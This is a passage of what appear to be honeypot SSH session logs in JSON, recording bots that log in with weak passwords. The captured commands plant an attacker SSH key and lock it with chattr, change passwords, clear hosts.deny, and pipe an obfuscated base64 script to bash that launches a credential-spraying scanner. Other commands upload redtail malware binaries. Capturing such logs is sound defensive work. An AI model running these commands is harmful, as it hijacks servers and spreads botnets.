AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T19:52:32.297730+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T19:52:32.298909+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T19:52:32.367598+00:00","kind":"input","latency_ms":null,"data":"echo -e \"adminadmin\\nE7wb8oUwwmhW\\nE7wb8oUwwmhW\"|passwd|bash"},{"seq":6,"at":"2026-08-25T19:52:32.498311+00:00","kind":"input","latency_ms":null,"data":"echo \"adminadmin\\nE7wb8oUwwmhW\\nE7wb8oUwwmhW\\n\"|passwd"},{"seq":7,"at":"2026-08-25T19:52:32.589261+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T19:52:32.589833+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T19:52:32.669656+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T19:52:33.518794+00:00","kind":"output","latency_ms":848,"data":"15888 2314 1245 672 11728 11378"},{"seq":11,"at":"2026-08-25T19:52:33.594052+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T19:52:34.688232+00:00","kind":"output","latency_ms":1093,"data":"-rwxr-xr-x 1 root root 0 Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T19:52:34.774479+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T19:52:34.775126+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T19:52:35.025878+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T19:52:35.026336+00:00","kind":"output","latency_ms":null,"data":" 19:52:35 up 5 days, 16:42, 0 user, load average: 0.05, 0.04, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T19:52:35.115593+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T19:52:35.116618+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T19:52:35.200423+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T19:52:35.200806+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T19:52:35.267791+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T19:52:35.268272+00:00","kind":"output","latency_ms":null,"data":"top - 19:52:35 up 5 days, 16:42, 0 user, load average: 0.05, 0.04, 0.05\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8420 free, 7467 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T19:52:35.368969+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T19:52:35.369424+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T19:52:35.490014+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T19:52:35.490742+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T19:52:35.592266+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T19:52:35.593122+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-25T19:52:35.660817+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T19:52:36.378827+00:00","kind":"output","latency_ms":717,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T19:52:36.461604+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T19:52:37.105573+00:00","kind":"output","latency_ms":643,"data":"24G"},{"seq":33,"at":"2026-08-25T19:52:37.436004+00:00","kind":"input","latency_ms":null,"data":"echo \"ubuntu adminadmin\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T19:52:37.507297+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T19:52:37.719124+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-25T19:52:38.077897+00:00","kind":"output","latency_ms":569,"data":""},{"seq":37,"at":"2026-08-25T19:52:38.285203+00:00","kind":"output","latency_ms":566,"data":"ubuntu adminadmin"},{"seq":38,"at":"2026-08-25T19:52:38.380903+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T19:52:38.833939+00:00","kind":"output","latency_ms":451,"data":""},{"seq":40,"at":"2026-08-25T19:52:38.924052+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T19:52:39.015475+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T19:52:39.759108+00:00","kind":"output","latency_ms":742,"data":"1"},{"seq":43,"at":"2026-08-25T19:52:40.009794+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T19:52:40.413438+00:00","kind":"output","latency_ms":402,"data":"1"},{"seq":45,"at":"2026-08-25T19:52:40.483271+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T19:52:41.283867+00:00","kind":"output","latency_ms":800,"data":""},{"seq":47,"at":"2026-08-25T19:52:48.802116+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T19:52:48.802816+00:00","kind":"output","latency_ms":null,"data":"ubuntu"}],"credentials":[{"username":"ubuntu","password":"adminadmin","method":"password","accepted":true,"tier":"other"}]} {"id":"0835e1bc-6be9-4a80-bbc9-f610932e6744","name":"lunar-vernal-magpie","protocol":"ssh","channel_kind":"exec","src_ip":"43.128.3.201","src_port":53096,"username":"test1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":672,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T18:49:44.037854+00:00","ended_at":"2026-08-25T18:49:44.247737+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3452,"events":[{"seq":1,"at":"2026-08-25T18:49:03.735510+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T18:49:04.408243+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T18:49:10.276112+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T18:49:10.277281+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T18:49:10.948496+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pass1234\\nI4nQTv6KUjAY\\nI4nQTv6KUjAY\"|passwd|bash"},{"seq":6,"at":"2026-08-25T18:49:11.616268+00:00","kind":"input","latency_ms":null,"data":"echo \"pass1234\\nI4nQTv6KUjAY\\nI4nQTv6KUjAY\\n\"|passwd"},{"seq":7,"at":"2026-08-25T18:49:12.292047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T18:49:12.292736+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T18:49:12.962326+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T18:49:13.756478+00:00","kind":"output","latency_ms":794,"data":"15888 3891 10835 140 1020 0"},{"seq":11,"at":"2026-08-25T18:49:14.428714+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T18:49:14.979723+00:00","kind":"output","latency_ms":549,"data":"-rwxr-xr-x 1 root root 151K Jan 23 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T18:49:15.650946+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T18:49:15.651703+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T18:49:16.325745+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T18:49:16.326465+00:00","kind":"output","latency_ms":null,"data":" 18:49:16 up 5 days, 15:39, 0 user, load average: 0.27, 0.23, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T18:49:16.996274+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T18:49:16.997237+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T18:49:17.667294+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T18:49:17.667786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T18:49:18.341443+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T18:49:18.341908+00:00","kind":"output","latency_ms":null,"data":"top - 18:49:18 up 5 days, 15:39, 0 user, load average: 0.27, 0.23, 0.3\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T18:49:19.012904+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T18:49:19.014017+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T18:49:19.685859+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T18:49:19.686315+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T18:49:20.358584+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T18:49:20.359039+00:00","kind":"output","latency_ms":null,"data":"test1"},{"seq":29,"at":"2026-08-25T18:49:21.031407+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T18:49:21.814031+00:00","kind":"output","latency_ms":782,"data":"Model name: AMD EPYC 7713 64-Core Processor\n```"},{"seq":31,"at":"2026-08-25T18:49:22.486436+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T18:49:22.948640+00:00","kind":"output","latency_ms":461,"data":"24G"},{"seq":33,"at":"2026-08-25T18:49:25.122253+00:00","kind":"input","latency_ms":null,"data":"echo \"test1 pass1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T18:49:25.795397+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T18:49:26.265788+00:00","kind":"output","latency_ms":471,"data":""},{"seq":36,"at":"2026-08-25T18:49:28.223335+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T18:49:28.712072+00:00","kind":"output","latency_ms":492,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-25T18:49:29.383292+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T18:49:30.412539+00:00","kind":"output","latency_ms":1029,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-25T18:49:31.085091+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T18:49:31.759449+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T18:49:33.202562+00:00","kind":"output","latency_ms":1445,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-25T18:49:33.875649+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T18:49:34.557151+00:00","kind":"output","latency_ms":682,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-25T18:49:35.229668+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T18:49:36.262375+00:00","kind":"output","latency_ms":1032,"data":""},{"seq":47,"at":"2026-08-25T18:49:44.039106+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T18:49:44.039679+00:00","kind":"output","latency_ms":null,"data":"test1"}],"credentials":[{"username":"test1","password":"pass1234","method":"password","accepted":true,"tier":"other"}]} {"id":"21a6be9d-04e1-44e7-a6fa-1e58ed3cf3d4","name":"smooth-wandering-oryx","protocol":"ssh","channel_kind":"sftp","src_ip":"77.90.185.20","src_port":57298,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n","started_at":"2026-08-25T14:30:34.810048+00:00","ended_at":"2026-08-25T14:30:35.596959+00:00","ended_reason":"exec complete","commands":8,"transcript_bytes":994,"events":[{"seq":1,"at":"2026-08-25T14:30:34.680906+00:00","kind":"input","latency_ms":null,"data":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n"},{"seq":2,"at":"2026-08-25T14:30:34.912349+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/clean.sh (1157 bytes)"},{"seq":3,"at":"2026-08-25T14:30:35.395358+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm7 (1448252 bytes)"},{"seq":4,"at":"2026-08-25T14:30:35.596238+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/setup.sh (2126 bytes)"},{"seq":5,"at":"2026-08-25T14:30:35.598124+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm8 (1696412 bytes)"},{"seq":6,"at":"2026-08-25T14:30:35.598947+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.i686 (1838060 bytes)"},{"seq":7,"at":"2026-08-25T14:30:35.599610+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.riscv (1759768 bytes)"},{"seq":8,"at":"2026-08-25T14:30:35.600303+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.x86_64 (1989056 bytes)"}],"credentials":[{"username":"root","password":"Zz123456","method":"password","accepted":true,"tier":"other"}]} {"id":"02a89e4b-0910-4990-96c9-bce5bab983df","name":"restless-vigilant-skua","protocol":"ssh","channel_kind":"exec","src_ip":"216.10.242.215","src_port":49222,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":618,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T12:51:28.687254+00:00","ended_at":"2026-08-25T12:51:28.877929+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3437,"events":[{"seq":1,"at":"2026-08-25T12:50:45.824473+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T12:50:46.444628+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T12:50:52.704460+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T12:50:52.704787+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T12:50:53.322957+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6mPOyguPkxby\"|chpasswd|bash"},{"seq":6,"at":"2026-08-25T12:50:53.964598+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-25T12:50:54.094300+00:00","kind":"output","latency_ms":771,"data":""},{"seq":8,"at":"2026-08-25T12:50:54.579847+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T12:50:54.580202+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T12:50:55.198711+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T12:50:56.400296+00:00","kind":"output","latency_ms":1201,"data":"15888 3241 9743 143 2902 0"},{"seq":12,"at":"2026-08-25T12:50:57.019093+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T12:50:58.318464+00:00","kind":"output","latency_ms":1299,"data":"-rwxr-xr-x 1 root root 142K Mar 25 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T12:50:58.936462+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T12:50:58.937340+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-25T12:50:59.554640+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T12:50:59.555303+00:00","kind":"output","latency_ms":null,"data":" 12:50:59 up 5 days, 9:41, 0 user, load average: 0.26, 0.34, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T12:51:00.173781+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T12:51:00.174274+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T12:51:00.802062+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T12:51:00.802543+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T12:51:01.422763+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T12:51:01.423301+00:00","kind":"output","latency_ms":null,"data":"top - 12:51:01 up 5 days, 9:41, 0 user, load average: 0.26, 0.34, 0.22\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T12:51:02.041795+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T12:51:02.042329+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T12:51:02.659013+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T12:51:02.659661+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 